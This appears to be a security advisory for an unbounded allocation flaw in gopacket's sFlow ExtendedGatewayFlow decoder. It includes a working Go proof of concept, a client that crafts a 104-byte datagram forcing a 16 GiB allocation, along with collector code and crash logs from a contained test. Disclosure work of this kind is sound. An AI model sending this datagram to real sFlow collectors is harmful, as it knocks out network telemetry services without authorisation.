Go · github.com/gopacket/gopacket
GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS
The sFlow ExtendedGatewayFlow record decoder in github.com/gopacket/gopacket allocates a slice with make([]uint32, n) where n is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens before the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).
Two sinks in layers/sflow.go, both in the ExtendedGatewayFlow (record type 1003) decode path:
layers/sflow.go:1306 in decodeExtendedGatewayFlowRecord:*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
eg.Communities = make([]uint32, communitiesLength) // communitiesLength is a raw wire uint32, no bound
for j := uint32(0); j < communitiesLength; j++ { ... }
layers/sflow.go:1276 in decodePath (a helper called from the same record decoder):*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
ad.Members = make([]uint32, ad.Count) // ad.Count is a raw wire uint32, no bound
for i := uint32(0); i < ad.Count; i++ { ... }
In both cases the make is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. communitiesLength = 0xFFFFFFFF requests make([]uint32, 4294967295) = 16,384 MB (16 GiB).
The registered LayerTypeSFlow decoder parses sFlow datagrams from the wire:
SFlowDatagram.DecodeFromBytes (sflow.go:302) -> SampleCount loop -> decodeFlowSample(expanded=false) (sflow.go:458) -> RecordCount loop -> record format 1003 SFlowTypeExtendedGatewayFlow (sflow.go:573) -> decodeExtendedGatewayFlowRecord (sflow.go:1284) -> sink at line 1306 (and line 1276 via the ASPath -> decodePath branch).
sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default) is equally affected.
Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).
This PoC is an end-to-end test against a real deployed sFlow collector. A minimal but realistic UDP collector (built on the public gopacket API, exactly as a real network-telemetry collector would be) runs inside a hard-capped 256 MB container; an independent client process sends a real malicious sFlow datagram over a real UDP socket; the collector process is then observed to die. A benign datagram is used as a negative control.
The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at
the v1.6.0 tag, layers/sflow.go:1306).
// collector.go — binds a UDP socket and, for every datagram, builds a
// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives
// the registered sFlow decoder over the attacker-controlled bytes.
package main
import (
"fmt"
"net"
"os"
"github.com/gopacket/gopacket"
"github.com/gopacket/gopacket/layers"
)
func main() {
udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343")
conn, err := net.ListenUDP("udp4", udpAddr)
if err != nil {
fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
os.Exit(1)
}
defer conn.Close()
fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr())
buf := make([]byte, 65535)
for {
n, src, err := conn.ReadFromUDP(buf)
if err != nil {
continue
}
datagram := make([]byte, n)
copy(datagram, buf[:n])
fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src)
pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)
if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {
fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n",
dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))
} else {
fmt.Printf("[collector] no sFlow layer decoded\n")
}
}
}
The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying
one ExtendedGatewayFlow (record type 1003) record and sets only its
communitiesLength field. For the benign case it appends real community words
plus the trailing LocalPref word so the record decodes cleanly.
// client.go — usage: client <addr> <communitiesLength> [--benign]
package main
import (
"encoding/binary"
"fmt"
"net"
"os"
"strconv"
)
func u32(b *[]byte, v uint32) {
t := make([]byte, 4)
binary.BigEndian.PutUint32(t, v)
*b = append(*b, t...)
}
func buildDatagram(commLen uint32, benign bool) []byte {
var d []byte
u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 1) // SampleCount = 1
u32(&d, 1) // sample format -> FlowSample
u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 1) // RecordCount = 1
u32(&d, 1003) // record format -> ExtendedGatewayFlow
u32(&d, 0) // FlowDataLength
u32(&d, 1) // gateway address type = IPv4
u32(&d, 0x08080808) // NextHop
u32(&d, 0); u32(&d, 0); u32(&d, 0)
u32(&d, 0) // ASPathCount = 0
u32(&d, commLen) // communitiesLength -> make([]uint32, commLen) sink
if benign {
for i := uint32(0); i < commLen; i++ {
u32(&d, 0xABCD0000+i)
}
u32(&d, 100) // trailing LocalPref word
}
return d
}
func main() {
addr := os.Args[1]
commLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
benign := len(os.Args) > 3 && os.Args[3] == "--benign"
data := buildDatagram(uint32(commLen), benign)
raddr, _ := net.ResolveUDPAddr("udp", addr)
conn, _ := net.DialUDP("udp", nil, raddr)
defer conn.Close()
conn.Write(data)
fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n",
len(data), commLen, benign)
}
The collector runs under a hard 256 MB cgroup cap with swap disabled
(--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and
the host is unaffected.
Negative control (benign datagram, communitiesLength=4):
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign
[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)
# collector log:
[collector] received 124-byte datagram from 172.18.0.3:56438
[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1
# collector status: Up (ALIVE); RSS flat at 1.5 MiB
Attack (single malicious datagram, communitiesLength=0xFFFFFFFF):
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295
[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB
[client] datagram sent over real UDP socket
# collector log (verbatim):
[collector] received 104-byte datagram from 172.18.0.3:42284
fatal error: runtime: out of memory
runtime stack:
runtime.throw(...)
runtime.sysMapOS(0x61585e800000, 0x400000000, ...) // 0x400000000 = 16 GiB requested
runtime.makeslice(...)
/usr/local/go/src/runtime/slice.go:117
github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)
/go/pkg
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.